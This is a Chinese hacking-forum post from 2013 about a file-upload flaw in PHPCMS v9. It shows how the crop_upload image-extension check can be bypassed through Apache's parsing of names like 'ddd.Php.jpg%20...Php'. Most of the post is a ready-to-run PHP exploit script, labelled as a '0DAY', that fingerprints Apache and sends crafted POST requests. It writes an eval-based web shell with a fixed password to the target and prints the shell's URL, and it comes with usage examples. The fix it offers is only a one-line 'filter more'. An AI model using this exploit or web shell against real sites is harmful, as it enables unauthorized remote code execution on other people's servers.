找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2059|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行/ m$ Q0 g0 ?* h4 ?
4 z. i) `( n9 ]( D9 b0 {0 t
简要描述:
( j3 k" E% N# n* l) }# E  ^5 I/ X4 J- S( K
phpcms v9 getshell (apache); S  p: j: O4 J4 e* Y) g; Q
详细说明:
/ \# z) j7 {0 F  A: G" L3 v; n
3 _. ^8 k" d3 S漏洞文件:phpcms\modules\attachment\attachments.php
) {; q9 W( p: {! X2 i
, g5 e% u0 S7 Upublic function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } * b! ]+ x: w) f& Q
后缀检测:phpcms\modules\attachment\functions\global.func.php
- J, W. o& u4 R) R5 H7 }# n, d0 [6 [: r) ~" O
- {5 m# ]3 b7 k* s. t' @' {5 S! P
& p1 s5 ?* Y) C2 O$ l0 Z- ?
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
9 }. ?3 j- M4 J
- n, x/ \/ L2 t7 \) {* h4 b关键函数:
# n; A. ]0 \8 u2 l+ n1 @# Q7 P5 [6 L, |0 p) i9 Q8 }

4 v+ O" {* O: c+ m2 H! O, g. M" M( o+ f9 y
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  ' ?' }. }6 u- L. M
7 ~: _: T8 L" C# ]* K) x
  Fileext函数是对文件后缀名的提取。
/ W. W; m8 H7 f0 q0 Z5 i  `! q$ ?: U根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
' i- o' Y4 d8 R经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。4 t& R, W& g- ]5 E( _
我们回到public function crop_upload() 函数中7 ^/ |" m3 K3 k
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
+ C3 B. \7 d  ?/ P/ n' [$ r" t在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
% M' f2 [7 S8 X) P5 D( H  Z+ x这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
6 V* X5 b/ p; a; n经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
8 H; o3 q  g, o) X$ a最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
. _" r2 ?; z3 I/ Z2 z看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。: Q6 x$ U. N' ]% @
漏洞证明:
# _+ t* w7 a4 I6 S: {5 J5 q) s+ b8 \- `$ f  U) C, _
exp:% H+ J" r# p( n7 F% |, B

4 V" d+ G, P+ n0 a# \3 W! a<?php5 B' F4 D! I" M. B" Z$ i
error_reporting(E_ERROR);
5 X$ g/ c5 T& R% ^set_time_limit(0);
/ c6 q3 w. F; w4 |$pass="ln";
- r; v  f% a! B# n" Qprint_r('
' p3 T  f" C6 ^% J" P, [$ P' p+---------------------------------------------------------------------------+
' j' R4 j0 ?3 l) C. xPHPCms V9 GETSHELL 0DAY
" ^) u$ i1 [; a9 T5 k, _code by L.N.1 G: q+ _2 h9 H5 Z+ F# A. E+ P/ y$ U; N
: q: ?, w. w8 m7 Q
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net- R( c7 P# a5 ]8 ^
+---------------------------------------------------------------------------+  D* p% H) Z  v; f3 y. `) Q5 I* C
');' S! f9 l# L- z! C) O/ f5 M
if ($argc < 2) {5 v  n! G& t. K% B- V7 }' s
print_r('
3 M6 p- D. x+ y# Q: e+---------------------------------------------------------------------------+  }% V4 i9 R, L7 _- |4 q/ j( J
Usage: php '.$argv[0].' url path" ]; u: m) i; m* l

+ G) |  }( o! E6 i( U0 ^Example:
9 o& }' ]8 i) z0 o" s+ F1.php '.$argv[0].' lanu.sinaapp.com
" W9 n# M8 D0 {; W" s2.php '.$argv[0].' lanu.sinaapp.com /phpcms
4 e% ]2 p$ p+ r4 a+---------------------------------------------------------------------------+& k: Y  j4 L3 m5 W
');
' C1 U+ `3 ?, V. Yexit;: u5 ~6 k# s0 a& y
}2 z0 L4 b0 p% x/ _
0 u! J# g# s; J- v
$url = $argv[1];1 F% \7 v6 {! D8 T
$path = $argv[2];
7 U: v# B; K& s5 `4 ^6 o$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
; J$ o5 \: q1 @8 H6 X- Q$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
2 V/ O" F) U- d% ^% {1 uif($ret=Create_dir($url,$path))6 Q  A: e3 _, g( V* l1 D
{3 H/ Q( D7 M1 R: g3 c  E  w& l
//echo $ret;# u! r: K* ~/ k2 y. b( P6 B
$pattern = "|Server:[^,]+?|U";9 U) H0 X3 o( ?
preg_match_all($pattern, $ret, $matches);) N. s" J* R+ G7 M- e
if($matches[0][0])& w" R! R6 c2 n8 Z5 c
{4 }6 @( G2 F2 @3 I1 P2 s8 i1 U
if(strpos($matches[0][0],'Apache') == false)
# k9 Q/ T2 ^9 R# N4 y$ W8 O; q{# N1 e: O! M1 l0 s5 U/ O
echo "\n亲!此网站不是apache的网站。\n";exit;4 U0 b5 t% P! R! d1 n
}
2 n' w$ H  Y$ T: `) d}" H+ W3 N8 A% X
$ret = GetShell($url,$phpshell,$path,$file);7 {. s! \6 d0 ~8 K5 U: _
$pattern = "|http:\/\/[^,]+?\.,?|U";, q5 z; s( f7 Q- C5 X) W% z/ a3 Y& d) J7 ~
preg_match_all($pattern, $ret, $matches);& |$ u+ }" z( G3 f5 ^; T& E0 f1 w. R
if($matches[0][0])
% _% z  ]$ {! E{5 |( @, Z9 X+ T6 V9 d; Q' ~
echo "\n".'密码为: '.$pass."\n";
5 u" C% R. B5 ?# A" t! Yecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;5 [3 u7 e2 y; U6 q; N$ K- h
}% Z& J' |3 q: c/ ~9 c' q# I
else
5 c! C, |0 F: ~, A( |. W{) Q% k) p5 n/ F* q( J
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";( Y. \% e& U0 W3 A6 J" c9 `- w6 }3 m
preg_match_all($pattern, $ret, $matches);$ K, w" ~* l* C# \# L8 A% x) L
if($matches[0][0])' Z. J' I  v! w4 l' L" s: z
{' }3 z5 i. x0 d" ]- b" s
echo "\n".'密码为: '.$pass."\n";9 P! p8 V0 P/ ^1 B$ K: F7 L
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
! T2 Q3 j3 h. j% i. E}$ W( B. Z9 w& ^) O* ~+ P
else1 Z: Z+ L, o3 {! \8 U
{
, O2 Z. u% e, x% f8 [" }: d. Cecho "\r\n没得到!\n";exit;' `" v1 l3 [5 d9 n& _
}
& I; X( {7 f9 B8 o7 j}
$ c& n; t$ ~. [" J; l, ^/ F}* l( K! m" S- S- G

+ ?! f; b  a6 V3 T; Zfunction GetShell($url,$shell,$path,$js)8 l) G  a/ X! M0 C
{
2 v8 y$ D  x5 |' ~, V2 Y$content =$shell;
$ b" L, P! G' x7 K) O$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";4 L, Y0 F5 b0 P* x9 x- q7 J4 H9 E
$data .= "Host: ".$url."\r\n";1 o% Q. y# I1 e; Y
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";" r* B$ m1 }* H% Z- `
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";0 P3 `6 ]+ O+ n
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";4 `" i/ E1 b. d3 K
$data .= "Connection: close\r\n";' {( I" B. |7 H7 ^/ B
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";; N" o3 ^: D8 S: y* B5 G
$data .= $content."\r\n";
* z, G2 r8 q- ?$ock=fsockopen($url,80);5 R# H. s' N# o6 y* j, H. B" |, t
if (!$ock)
) [) k" l/ t$ }$ n{
1 |1 J2 B# r: y+ }" F3 Z9 ]echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
8 c) |/ _  ~9 C6 z5 ?. P' N: {}
) r" N# l0 r% u9 b: ?+ oelse
7 Z' k* a8 F% \, [: R' u2 l. p{* k$ F9 E4 m: W* R* p
fwrite($ock,$data);  U- J0 Y2 p' q' v
$resp = '';  L# n: |* Z7 u8 {9 C6 `. G
while (!feof($ock)): r% c: @. ?# G8 s
{/ i  m" ?/ ~" ]$ f7 t
$resp.=fread($ock, 1024);
7 F/ L: o0 a/ o. g9 h4 X1 ]}
8 _& N0 G4 j+ g0 R6 Kreturn $resp;8 ^% I% o( p( d, t0 P
}
( G( f0 h  |# z$ a}. x4 n5 V* i5 _& V& l5 p: k
$ n  d$ B4 w7 Q3 ?* N
function Create_dir($url,$path='')9 r$ t' ~3 M# o
{* N: R" y) M. D% W- v- Y5 C
$content ='I love you';
* P5 p) h: p& z, U6 g8 Z$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
* B9 E3 q5 h3 L5 Y5 V$data .= "Host: ".$url."\r\n";
& y* J, B* R9 s6 ~% _, [$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
% g2 ]$ i# Y0 H) i/ ?0 B4 H6 ?  U$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
; i! W' e0 z6 ]/ w5 j5 l$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";1 S6 s' \+ l" k: u: ?3 Z. T
$data .= "Connection: close\r\n";
+ K* K7 u3 p7 R) A/ h$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
; p4 u8 H/ e7 C5 ]; H1 t8 @  v$data .= $content."\r\n";7 ]% ~6 Z; N. A8 r
$ock=fsockopen($url,80);
! A5 a3 ^5 L* C! K# Oif (!$ock)
! q$ X7 j( L4 q! [' Q* V{7 B8 J4 k- L  G. Q* K) l0 i
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;% K( {" H2 K+ e" A$ ]4 c
}) Q  j# u8 c" E8 @3 w$ y
fwrite($ock,$data);& R9 W% n$ A2 @! |/ F+ V6 x* `
$resp = '';
9 i. D: a% s& fwhile (!feof($ock))
  Q( k0 G$ r, X1 T{4 z1 M+ N: n/ C2 D) P) L
$resp.=fread($ock, 1024);
* q( r' D/ i9 j. r. h7 L- v}: t: l! v, o" h: C
return $resp;, h' q- y- b% }
}
9 h- ?6 \4 o( i0 [- K# T- D; [/ j?> % U/ c8 M9 y1 k' ~. i5 o6 ?6 p6 {
$ L' a+ D" P1 A5 R( I
修复方案:% `1 j  t) K6 ?4 r

7 H/ q5 w) L* L+ e0 u过滤过滤再过滤
: ?" Q) a: {4 v# a7 r! L) d8 ?
9 p% C8 V% v' u! L  x0 e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表